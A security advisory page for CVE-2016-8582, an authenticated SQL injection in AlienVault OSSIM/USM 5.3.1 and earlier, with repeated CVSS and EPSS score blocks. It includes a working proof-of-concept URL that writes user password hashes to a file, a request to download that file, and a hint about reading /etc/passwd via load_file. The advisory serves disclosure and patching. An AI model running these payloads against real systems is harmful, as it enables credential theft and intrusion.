7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.963 High
EPSS
Percentile
99.5%
Details
=======
Product: Alienvault OSSIM/USM
Vulnerability: SQL Injection
Author: Peter Lapp, lappsec () gmail com
CVE: CVE-2016-8582
Vulnerable Versions: <=5.3.1
Fixed Version: 5.3.2
Vulnerability Details
=====================
A SQL injection vulnerability exists in the value parameter of
/ossim/dashboard/sections/widgets/data/gauge.php on line 231. By
sending a serialized array with a SQL query in the type field, it's
possible to execute an arbitrary SQL query. The result is not
displayed on the screen, but it can be exploited as a blind SQLi or
have the output directed to a file and then retrieved via another
request. Authentication is required.
POC
===
This request will dump user password hashes to a file:
/ossim/dashboard/sections/widgets/data/gauge.php?&type=alarm&wtype=blah&asset=1&height=1&value=a%3A1%3A%7Bs%3A4%3A%22type%22%3Bs%3A67%3A%22pass+from+users+INTO+OUTFILE+%27%2Ftmp%2F10.0.0.123_pass_tshark.pcap%27--+-%22%3B%7D
The file containing the output can then be retrieved with the following request:
/ossim/pcap/download.php?scan_name=pass&sensor_ip=10.0.0.123
It's also possible to read the contents of any file readable by the
mysql user by using mysql's load_file function. For example, changing
the request to something like select load_file('/etc/passwd') .
Timeline
========
08/03/16 - Reported to Vendor
10/03/16 - Fixed in version 5.3.2
References
==========
https://www.alienvault.com/forums/discussion/7766/security-advisory-alienvault-5-3-2-address-70-vulnerabilities
7.5 High
CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
PARTIAL
Availability Impact
PARTIAL
AV:N/AC:L/Au:N/C:P/I:P/A:P
9.8 High
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.8 High
AI Score
Confidence
High
0.963 High
EPSS
Percentile
99.5%